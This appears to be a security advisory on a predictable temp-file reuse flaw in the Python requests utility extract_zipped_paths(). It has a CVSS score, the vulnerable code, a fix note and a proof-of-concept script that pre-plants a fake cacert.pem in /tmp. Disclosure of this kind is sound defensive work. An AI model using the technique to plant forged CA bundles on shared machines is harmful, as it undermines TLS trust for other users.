
Insecure Temp File Reuse in extract_zipped_paths()
A vulnerability was identified in the requests library (Python) within the public utility function requests.utils.extract_zipped_paths(). The function utilizes a predictable, non-unique filename when attempting to extract files into the system's temporary directory (/tmp) and fails to verify the integrity or ownership of pre-existing files.
While the default behavior of requests combined with certifi is mitigated by importlib.resources, this utility remains a security footgun for downstream applications or custom implementations that rely on it to handle zipped resources.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:NThe function requests.utils.extract_zipped_paths() is designed to extract members from a zip archive (often used for CA bundles in zipapp environments). The vulnerable logic follows these steps:
basename of the zip member (e.g., /tmp/cacert.pem).if not os.path.exists(extracted_path) to decide whether to extract the file.In requests/utils.py, the logic is implemented as follows:
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1])
# Insecure reuse of existing file
if not os.path.exists(extracted_path):
# Extraction logic only triggers if file is missing
...
# Returns path to potentially attacker-controlled file
return extracted_path
A Local Attacker with low privileges can exploit this by pre-creating a malicious file (e.g., a forged CA bundle) at the predictable path in /tmp. When a victim (user interaction required) runs an application that invokes this utility:
The following script demonstrates the vulnerability by showing how the utility reuses a pre-existing "fake" file instead of the legitimate one from the archive.
import os
import tempfile
import zipfile
from requests import utils
# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
f.write(b"ATTACKER_MALICIOUS_DATA")
# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")
# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)
# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
content = f.read()
print(f"[i] Content read: {content}")
if content == b"ATTACKER_MALICIOUS_DATA":
print("[!] Vulnerability Confirmed: Insecure file reuse successful.")
The issue is addressed in version 2.33.0. The fix involves transitioning to importlib.resources to handle zipped resources more securely, ensuring that extractions occur in randomized, non-predictable directories and avoiding the reuse of existing files in shared world-writable directories.